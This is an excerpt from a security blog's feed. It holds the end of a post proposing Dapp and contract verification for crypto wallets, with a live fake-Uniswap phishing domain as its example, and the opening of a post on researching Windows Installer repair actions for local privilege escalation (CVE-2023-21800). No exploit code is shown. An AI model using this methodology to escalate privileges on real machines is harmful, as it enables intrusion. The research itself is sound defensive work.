&lt;p&gt;The data these endpoints return can be integrated in crypto wallets at two points in the user’s interaction.&lt;/p&gt;

&lt;h3 id=&quot;initial-dapp-access&quot;&gt;Initial Dapp Access&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/host&lt;/code&gt; endpoint can be used when the user is initially connecting to a Dapp. The Dapp’s URL should be passed as a parameter to the endpoint. The service will use the supplied URL to gather information about the web site and its configuration. Additionally, the service will check for the presence of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dapp_file&lt;/code&gt; on the site’s root and verify its signature. Once processing is finished, the service will respond with:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Example Dapp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;timestamp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2000-01-01T00:00:00Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;domain&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;app.example.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tls_issued_on&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2022-01-01T00:00:00Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tls_expires_on&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2022-01-01TT00:00:00Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dns_record_created&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2012-01-01T00:00:00Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dns_record_updated&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2022-08-14T00:01:31Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dns_record_expires&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2023-08-13T00:00:00Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dapp_file&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;valid_signature&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This information can be shown to the user in a dialog UI element, such as:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/wallet-dialog-safe.png&quot; alt=&quot;Wallet Dialog Safe&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;As a concrete example, lets take a look at &lt;a href=&quot;https://apply-uniswap.com&quot;&gt;this fake Uniswap&lt;/a&gt; site was active during the writing of this post. If a user tried to connect their wallet to the Dapp running on the site, the following information would be returned to the user:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;timestamp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;domain&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apply-uniswap.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tls_issued_on&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2023-02-06T22:37:19Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tls_expires_on&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2023-05-07T22:37:18Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dns_record_created&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2023-02-06T23:31:09Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dns_record_updated&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2023-02-06T23:31:10Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dns_record_expires&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2024-02-06T23:31:09Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dapp_file&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;valid_signature&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The missing information from the response reflect that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dapp_file&lt;/code&gt; was not found on this domain. This information will then be reflected on the UI, informing the user of potential issues with the Dapp:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/wallet-dialog-domain-unsafe.png&quot; alt=&quot;Wallet Dialog Domain Unsafe&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;At this point, the users can review the information and decide whether they feel comfortable giving the Dapp access to their wallet. Once the Dapp is authorized, this information doesn’t need to be shown anymore. Though, it would be beneficial to occasionally re-display this information, so that any changes in the Dapp or its domain will be communicated to the user.&lt;/p&gt;

&lt;h3 id=&quot;making-a-transaction&quot;&gt;Making A Transaction&lt;/h3&gt;

&lt;p&gt;Transactions can be split in two groups: transactions that transfer native tokens and transactions which are smart contract function calls. Based on the type of transaction being performed, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/contract&lt;/code&gt; endpoint can be used to retrieve information about the recipient of the transferred assets.&lt;/p&gt;

&lt;p&gt;For our case, the smart contract function calls are the more interesting group of transactions. The wallet can retrieve information about both the smart contract on which the function will be called as well as the function parameter representing the recipient. For example the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spender&lt;/code&gt; parameter in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;approve(address spender, uint256 amount)&lt;/code&gt; function call. This information can be retrieved on a case-by-case basis, depending on the function call being performed.&lt;/p&gt;

&lt;p&gt;Signatures of widely used functions are &lt;a href=&quot;https://www.4byte.directory/&quot;&gt;available&lt;/a&gt; and can be implemented in the wallet as a type of an allow or safe list. If a signature is unknown, the user should be informed about it.&lt;/p&gt;

&lt;p&gt;Verifying the recipient gives users confidence they are transferring tokens, or allowing access to their tokens for known, legitimate addresses.&lt;/p&gt;

&lt;p&gt;An example response for a given address will look something like:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;is_contract&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;contract_address&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0xF4134146AF2d511Dd5EA8cDB1C4AC88C57D60404&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;contract_deployer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0x002362c343061fef2b99d1a8f7c6aeafe54061af&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;contract_deployed_on&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2023-01-01T00:00:00Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;contract_tx_count&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;contract_unique_tx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;valid_signature&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;verified_source&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the background, the web service will gather information about the type of address (EOA or smart contract), code verification status, address interaction information etc. All of that should be shown to the user as part of the transaction confirmation step.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/wallet-dialog-unsafe.png&quot; alt=&quot;Wallet Dialog  Unsafe&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Links to the smart contract and any additional information can be provided here, helping users perform additional verification if they so wish.&lt;/p&gt;

&lt;p&gt;In the case of native token transfers, the majority of verification consists of typing in the valid &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to&lt;/code&gt; address. This is not a task that is well suited for automatic verification. For this use case, wallets provide an “address book” like functionality, which should be utilized to minimize any user errors when initializing a transaction.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The point of this post is to highlight the shortcomings of today’s crypto wallet implementations, to present ideas, and make suggestions for how they can be improved. This field is actively being worked on. Recently, &lt;a href=&quot;https://metamask.zendesk.com/hc/en-us/articles/6174898326683#h_01GA1DZF6GH7EAJV86X6D839H6&quot;&gt;MetaMask&lt;/a&gt; updated their confirmation UI to display additional information, informing users of potential &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setApprovalForAll&lt;/code&gt; scams. This is a step in the right direction, but there is still a long way to go. Features like these can be built upon and augmented, to a point where users can make transactions and know, to a high level of certainty, that they are not making a mistake or being scammed.&lt;/p&gt;

&lt;p&gt;There are also third-party groups like &lt;a href=&quot;https://walletguard.app/&quot;&gt;WalletGuard&lt;/a&gt; and &lt;a href=&quot;https://zengo.com/&quot;&gt;ZenGo&lt;/a&gt; who have implemented similar verifications described in this post. These features should be a standard and required for every crypto wallet, and not just an additional piece of software that needs to be installed.&lt;/p&gt;

&lt;p&gt;Like the user-agent of Web2, the web browser, user-agents of Web3 should do as much as possible to inform and protect their users.&lt;/p&gt;

&lt;p&gt;Our implementation of the &lt;a href=&quot;https://github.com/doyensec/wallet-info&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wallet-info&lt;/code&gt;&lt;/a&gt; web service is just an example of how public information can be pooled together. That information, combined with a good UI/UX design, will greatly improve the security of crypto wallets and, in turn, the security of the entire Web3 ecosystem.&lt;/p&gt;

&lt;p&gt;Does Dapp verification completely solve the phishing/scam problem? Unfortunately, the answer is no. The proposed changes can help users in distinguishing between legitimate projects and potential scams, and guide them to make the right decision. Dedicated attackers, given enough time and funds, will always be able to produce a smart contract, Dapp or web site, which will look harmless using the indicators described above. This is true for both the Web2 and Web3 world.&lt;/p&gt;

&lt;p&gt;Ultimately, it is up to the user to decide if the they feel comfortable giving their login credentials to a web site, or access to their crypto wallet to a Dapp. All software can do is point them in the right direction.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Windows Installer EOP (CVE-2023-21800)</title>
   <link href="https://blog.doyensec.com/2023/03/21/windows-installer.html"/>
   <updated>2023-03-21T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2023/03/21/windows-installer</id>
   <content type="html">&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: This blog post describes the details and methodology of our research targeting the Windows Installer (MSI) installation technology. If you’re only interested in the vulnerability itself, then &lt;a href=&quot;/#msi-vuln&quot;&gt;jump right there&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;Recently, I decided to research a single common aspect of many popular Windows applications - their MSI installer packages.&lt;/p&gt;

&lt;p&gt;Not every application is distributed this way. Some applications implement custom bootstrapping mechanisms, some are just meant to be dropped on the disk. However, in a typical enterprise environment, some form of control over the installed packages is often desired. Using the MSI packages simplifies the installation process for any number of systems and also provides additional benefits such as automatic repair, easy patching, and compatibility with GPO. A good example is Google Chrome, which is typically distributed as a standalone executable, but an enterprise package is offered on a dedicated &lt;a href=&quot;https://chromeenterprise.google/&quot;&gt;domain&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Another interesting aspect of enterprise environments is a need for strict control over employee accounts. In particular, in a well-secured Windows environment, the rule of least privileges ensures no administrative rights are given unless there’s a really good reason. This is bad news for malware or malicious attackers who would benefit from having additional privileges at hand.&lt;/p&gt;

&lt;p&gt;During my research, I wanted to take a look at the security of popular MSI packages and understand whether they could be used by an attacker for any malicious purposes and, in particular, to elevate local privileges.&lt;/p&gt;

&lt;h3 id=&quot;typical-installation&quot;&gt;Typical installation&lt;/h3&gt;

&lt;p&gt;It’s very common for the MSI package to require administrative rights. As a result, running a malicious installer is a straightforward game-over. I wanted to look at legitimate, properly signed MSI packages. Asking someone to type an admin password, then somehow opening elevated cmd is also an option that I chose not to address in this blog post.&lt;/p&gt;

&lt;p&gt;Let’s quickly look at how the installer files are generated. Turns out, there are several options to generate an MSI package. Some of the most popular ones are &lt;a href=&quot;https://wixtoolset.org/&quot;&gt;WiX Toolset&lt;/a&gt;, &lt;a href=&quot;https://www.revenera.com/install/products/installshield&quot;&gt;InstallShield&lt;/a&gt;, and &lt;a href=&quot;https://www.advancedinstaller.com/&quot;&gt;Advanced Installer&lt;/a&gt;. The first one is free and open-source, but requires you to write dedicated XML files. The other two offer various sets of features, rich GUI interfaces, and customer support, but require an additional license. One could look for generic vulnerabilities in those products, however, it’s really hard to address all possible variations of offered features. On the other hand, it’s exactly where the actual bugs in the installation process might be introduced.&lt;/p&gt;

&lt;p&gt;During the installation process, new files will be created. Some existing files might also be renamed or deleted. The access rights to various securable objects may be changed. The interesting question is what would happen if unexpected access rights are present. Would the installer fail or would it attempt to edit the permission lists? Most installers will also modify Windows registry keys, drop some shortcuts here and there, and finally log certain actions in the event log, database, or plain files.&lt;/p&gt;

&lt;p&gt;The list of actions isn’t really sealed. The MSI packages may implement the so-called &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/msi/custom-actions&quot;&gt;custom actions&lt;/a&gt; which are implemented in a dedicated DLL. If this is the case, it’s very reasonable to look for interesting bugs over there.&lt;/p&gt;

&lt;p&gt;Once we have an installer package ready and installed, we can often observe a new copy being cached in the &lt;em&gt;C:\Windows\Installers&lt;/em&gt; directory. This is a hidden system directory where unprivileged users cannot write. The copies of the MSI packages are renamed to random names matching the following regular expression: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^[0-9a-z]{7}\.msi$&lt;/code&gt;. The name will be unique for every machine and even every new installation. To identify a specific package, we can look at file properties (but it’s up to the MSI creator to decide which properties are configured), search the Windows registry, or ask the WMI:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-WmiObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-class&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Win32_Product&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-like&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;*Chrome*&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;IdentifyingNumber&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IdentifyingNumber&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;                      &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-----------------&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;                      &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;----&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;B460110D-ACBF-34F1-883C-CC985072AF9E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Google&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Chrome&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Referring to the package via its GUID is our safest bet. However, different versions of the same product may still have different identifiers.&lt;/p&gt;

&lt;p&gt;Assuming we’re using an unprivileged user account, is there anything interesting we can do with that knowledge?&lt;/p&gt;

&lt;h3 id=&quot;repair-process&quot;&gt;Repair process&lt;/h3&gt;

&lt;p&gt;The builtin Windows tool, called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec.exe&lt;/code&gt;, is located in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System32&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SysWOW64&lt;/code&gt; directories. It is used to manage the MSI packages. The tool is a core component of Windows with a long history of vulnerabilities. As a side note, I also happen to have found one such issue in the past (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-26415&quot;&gt;CVE-2021-26415&lt;/a&gt;). The documented list of its options can be found on the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec&quot;&gt;MSDN page&lt;/a&gt; although some additional undocumented switches are also implemented.&lt;/p&gt;

&lt;p&gt;The flags worth highlighting are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/l*vx&lt;/code&gt; to log any additional details and search for interesting events&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/qn&lt;/code&gt; to hide any UI interactions. This is extremely useful when attempting to develop an automated exploit. On the other hand, potential errors will result in new message boxes. Until the message is accepted, the process does not continue and can be frozen in an unexpected state. We might be able to modify some existing files before the original access rights are reintroduced.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec#repair-options&quot;&gt;repair options&lt;/a&gt; section lists flags we could use to trigger the repair actions. These actions would ensure the &lt;em&gt;bad&lt;/em&gt; files are removed, and &lt;em&gt;good&lt;/em&gt; files are reinstalled instead. The definition of &lt;em&gt;bad&lt;/em&gt; is something we control, i.e., we can force the reinstallation of all files, all registry entries, or, say, only those with an invalid checksum.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Parameter&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
